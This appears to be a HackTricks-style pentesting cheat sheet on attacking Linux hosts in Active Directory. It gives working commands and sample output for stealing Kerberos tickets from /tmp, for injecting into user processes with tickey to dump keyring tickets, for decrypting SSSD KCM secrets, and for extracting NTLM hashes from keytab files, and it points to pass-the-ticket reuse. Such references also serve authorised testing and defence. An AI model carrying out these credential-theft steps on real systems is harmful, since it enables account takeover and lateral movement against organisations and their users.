Linux Active Directory

Theory

A linux machine can also be present inside an Active Directory environment.

A linux machine in an AD might be storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket. In order to read this tickets you will need to be the user owner of the ticket or root inside the machine.

Practice

Tip: convert ticket to UNIX <-> Windows format

To convert tickets between UNIX/Windows format with ticketConverter.py.

# Windows -> UNIX
ticketConverter.py $ticket.kirbi $ticket.ccache

# UNIX -> Windows
ticketConverter.py $ticket.ccache $ticket.kirbi

Tools

Linkatz

linikatz is a tool to attack AD on UNIX. It allow you to dump credentials and kerberos cached tickets.

linikatz.sh

CCACHE ticket reuse from /tmp

Reuse tickets

When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache. Kerberos ticket name format is krb5cc_%{uid} where uid is the user UID.

ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

export KRB5CCNAME=/tmp/krb5cc_1569901115

You may use this ticket using Pass The Ticket techniques

CCACHE ticket reuse from keyring

Reuse tickets

Processes may store kerberos tickets inside their memory, the tickey tool can be useful to extract those tickets

ptrace protection should be disabled in the machine /proc/sys/kernel/yama/ptrace_scope = 0

# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets

CCACHE ticket reuse from SSSD KCM (Kerberos Cache Manager)

Reuse tickets

SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb. The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey. By default, the key is only readable if you have root permissions.

Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets.

python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey

Extract Accounts From Keytab Files

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

Unix-Like

On Linux you can use KeyTabExtract to extracts Key values from .keytab files

python3 keytabextract.py krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky

You can also use the .keytab file to request a TGT directly.

kinit [e-mail] -k -t /tmp/administrator.keytab

Windows

Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.

klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
	 KVNO: 25
	 Key type: 23
	 Key: 31d6cfe0d16ae931b73c59d7e0c089c0
	 Time stamp: Oct 07,  2019 09:12:02
[...]

References

Linux Active DirectoryHackTricks